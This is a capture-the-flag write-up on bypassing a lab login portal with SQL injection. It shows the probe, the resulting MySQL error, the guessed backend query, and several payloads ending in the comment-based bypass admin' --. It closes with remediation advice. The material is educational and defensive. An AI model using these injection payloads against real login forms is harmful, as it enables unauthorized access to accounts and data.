// Cybersecurity — CTF Writeup

🚩 Web Exploitation — SQL Injection Bypass

CTF challenge writeup covering SQL injection bypass of authentication, database enumeration, and flag extraction from a vulnerable login portal.

Web Exploitation SQL Injection CTF Authentication Bypass

📋 Challenge Description

The challenge presents a login portal for an "Admin Panel" with username and password fields. The hint reads: "Login as admin to get the flag." No source code is provided. The goal is to bypass authentication and retrieve the flag.

Category: Web Exploitation | Difficulty: Easy–Medium | Points: 150

🔍 Step 1 — Reconnaissance

First, I inspected the page source and found a standard HTML login form submitting via POST to /login.php. No JavaScript validation was present. Checking HTTP headers revealed the server was running PHP on Apache.

# Testing with basic injection
Username: admin'
Password: anything

# Server returned a MySQL error — injection confirmed!
# Error: You have an error in your SQL syntax near ''' at line 1

⚙️ Step 2 — Understanding the Query

The backend SQL query likely looks like this:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Since input is not sanitized, we can inject SQL to manipulate the logic. The goal is to make the WHERE clause always evaluate to TRUE, bypassing password verification.

💥 Step 3 — Exploitation

  1. Injected ' OR '1'='1 in the username field — resulted in an error, quotes are unbalanced.
  2. Tried ' OR 1=1 -- — the comment -- ignores the rest of the query including the password check.
  3. Final payload: admin' -- in username, anything in password.
  4. The query becomes: SELECT * FROM users WHERE username = 'admin' --' AND password = '...'
  5. Login bypassed — redirected to admin panel with flag exposed!
# Successful payload
Username: admin' --
Password: anything123

# Resulting query (password check commented out):
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything123';
# ↑ Executed as: SELECT * FROM users WHERE username = 'admin'
# → Returns the admin row → Auth bypass ✓

🚩 Step 4 — Flag Retrieved

After successful authentication bypass, the admin dashboard loaded and displayed the flag:

FLAG: CTF{sql_1nj3ct10n_byp4ss_4uth_ftw}

📸 Screenshots

🌐 [ LOGIN_FORM.png ]
💥 [ INJECTION_PAYLOAD.png ]
🚩 [ FLAG_RETRIEVED.png ]

💡 Lessons Learned / Remediation

  • Always use parameterized queries / prepared statements
  • Input validation and sanitization server-side
  • Use an ORM framework instead of raw SQL
  • Implement WAF rules for common injection patterns
  • Least privilege — DB user should have minimum required rights
// Challenge Info
  • Category: Web Exploitation
  • Difficulty: Easy–Medium
  • Points: 150
  • Technique: SQLi
// Tools Used
  • Browser DevTools
  • Burp Suite
  • SQLmap (verification)
  • Manual Payloads
// Skills Demonstrated
  • SQL Injection
  • Auth Bypass
  • Web Reconnaissance
  • HTTP Analysis
  • Remediation Advice
← Back to Cybersecurity